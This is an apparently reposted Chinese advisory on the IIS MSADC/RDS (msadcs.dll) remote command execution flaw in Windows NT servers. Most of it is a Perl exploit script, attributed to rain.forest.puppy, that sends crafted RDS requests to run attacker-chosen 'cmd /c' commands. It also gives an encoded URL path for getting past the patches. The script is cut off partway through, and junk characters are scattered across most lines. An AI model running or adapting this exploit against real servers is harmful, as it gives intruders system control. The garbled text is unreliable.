IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
-}9># <v vu`,:/|h 涉及程序:
siD/`T& Microsoft NT server
oETl?Vt |%12Vr]J 描述:
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$9eK@ 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
XG01g3 %OAvhutS 详细:
UBM:.*wN 如果你没有时间读详细内容的话,就删除:
%>EM ^Z c:\Program Files\Common Files\System\Msadc\msadcs.dll
tl^![Z 有关的安全问题就没有了。
y28 e=i Rp_)LA 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
y\zRv(T= wMU}EoGS? 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
OpFm:j3 关于利用ODBC远程漏洞的描述,请参看:
B-W8Zq#4> L%
`lC] http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm /7hC
/!@ 'ARbJ1a 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
D\k'Eez http://www.microsoft.com/security/bulletins/MS99-025faq.asp OtZc;c ;ji["b 这里不再论述。
PiF &0; % jSB9 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
UzT"Rb:e eKW^\ /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
N~+ e\K6 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
< m/@_" w=QW8q? KYR64[1 #将下面这段保存为txt文件,然后: "perl -x 文件名"
:Hq#co `w EAU7m: #!perl
69$gPY'3 #
=p>IP"HJ # MSADC/RDS 'usage' (aka exploit) script
Sq[LwJ #
9_xJT^10 # by rain.forest.puppy
oP_}C[ #
J3c8WS{: # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
Zk>#T:{h # beta test and find errors!
B;c2gu
C^*3nd3 use Socket; use Getopt::Std;
lB*HLC getopts("e:vd:h:XR", \%args);
2JL\1=k; .dKFQH iYJ print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
tFu"h1 nWFU8u% if (!defined $args{h} && !defined $args{R}) {
0YO/G1O& print qq~
Cnv?0to2l Usage: msadc.pl -h <host> { -d <delay> -X -v }
d'k99(vy -h <host> = host you want to scan (ip or domain)
' ?uwUBi -d <seconds> = delay between calls, default 1 second
qaiR329fx -X = dump Index Server path table, if available
>o )v -v = verbose
dzs(sM= -e = external dictionary file for step 5
#H.DnW {P'^X+B0* Or a -R will resume a command session
xP-\)d-.aN [^0 S#,L ~; exit;}
pYz\GSd T_Cj=>L $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
+{L=cWA" if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
SSysOeD+ if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
U o[\1) if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
ZK5
wZU $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
#D-Ttla if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
F}c}I8Ao /q5!p0fH* if (!defined $args{R}){ $ret = &has_msadc;
;}}k*<
Z die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
7&
'p"hF qyL!>kZr@ print "Please type the NT commandline you want to run (cmd /c assumed):\n"
1C+d&U . "cmd /c ";
Z7dyPR $in=<STDIN>; chomp $in;
U# U*^# $command="cmd /c " . $in ;
OCEhwB0 N~tq] if (defined $args{R}) {&load; exit;}
;VS$xnZ mOfTq]
@B print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
sw+vyBV)r &try_btcustmr;
=XFyEt z
-uW, print "\nStep 2: Trying to make our own DSN...";
d8.A8<wUr &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
~PyZh5x 7f>~P_ print "\nStep 3: Trying known DSNs...";
<lTLz$QE
&known_dsn;
"=,IbC X.eocy print "\nStep 4: Trying known .mdbs...";
?,w9e| &known_mdb;
}~Ir& 97vQM if (defined $args{e}){
eS/Au[wS print "\nStep 5: Trying dictionary of DSN names...";
"Z)zKg &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
Yht |^ =a :gTtWJ04] print "Sorry Charley...maybe next time?\n";
`X%Qt~ exit;
@t2S"s$m S|r,RBeZ
##############################################################################
=w ! 6un ou=33}uO sub sendraw { # ripped and modded from whisker
5Kl;(0B9 sleep($delay); # it's a DoS on the server! At least on mine...
sB wzb my ($pstr)=@_;
.4[M7) socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
yb) a die("Socket problems\n");
[F+*e=wjN> if(connect(S,pack "SnA4x8",2,80,$target)){
o^W.53yX select(S); $|=1;
,j(S'Pw print $pstr; my @in=<S>;
T
3<2ds select(STDOUT); close(S);
;s?,QvE{r# return @in;
Xa$-Sx } else { die("Can't connect...\n"); }}
yOO@v6jO) ,"5][RsOn ##############################################################################
RMlx[nsq LwcAF g| sub make_header { # make the HTTP request
1!;4I@W(I) my $msadc=<<EOT
7X <# POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
Y'yGhpT~ User-Agent: ACTIVEDATA
;%Kh~ Host: $ip
;]>a7o Content-Length: $clen
7M<co," Connection: Keep-Alive
C(n_*8{ ak\[+wQ ADCClientVersion:01.06
rPK 1# Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
<xUX&J=; NIG*
}[}P --!ADM!ROX!YOUR!WORLD!
4o<'
fY Content-Type: application/x-varg
2%vG7o,# Content-Length: $reqlen
APyH.] mQ EN5F*s@r EOT
Y%^qt]u.8 ; $msadc=~s/\n/\r\n/g;
\m#{{SGm return $msadc;}
28>/#I9/] IQQ>0^Q~ ##############################################################################
]v#T9QQN Bo0f`EC I sub make_req { # make the RDS request
Cy6%f? j my ($switch, $p1, $p2)=@_;
ZhFlR*EQ my $req=""; my $t1, $t2, $query, $dsn;
X'p%K/-m NUh+ &M if ($switch==1){ # this is the btcustmr.mdb query
?hKpJA'% $query="Select * from Customers where City=" . make_shell();
^*b11/7 $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
*BKIA $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
|%uy{ BK1I_/_! elsif ($switch==2){ # this is general make table query
oj[<{/,C9 $query="create table AZZ (B int, C varchar(10))";
C);I[H4Yfw $dsn="$p1";}
@s0 mX3P ^e--4B9| elsif ($switch==3){ # this is general exploit table query
%[on.Q'1]2 $query="select * from AZZ where C=" . make_shell();
'#>(JN5\ $dsn="$p1";}
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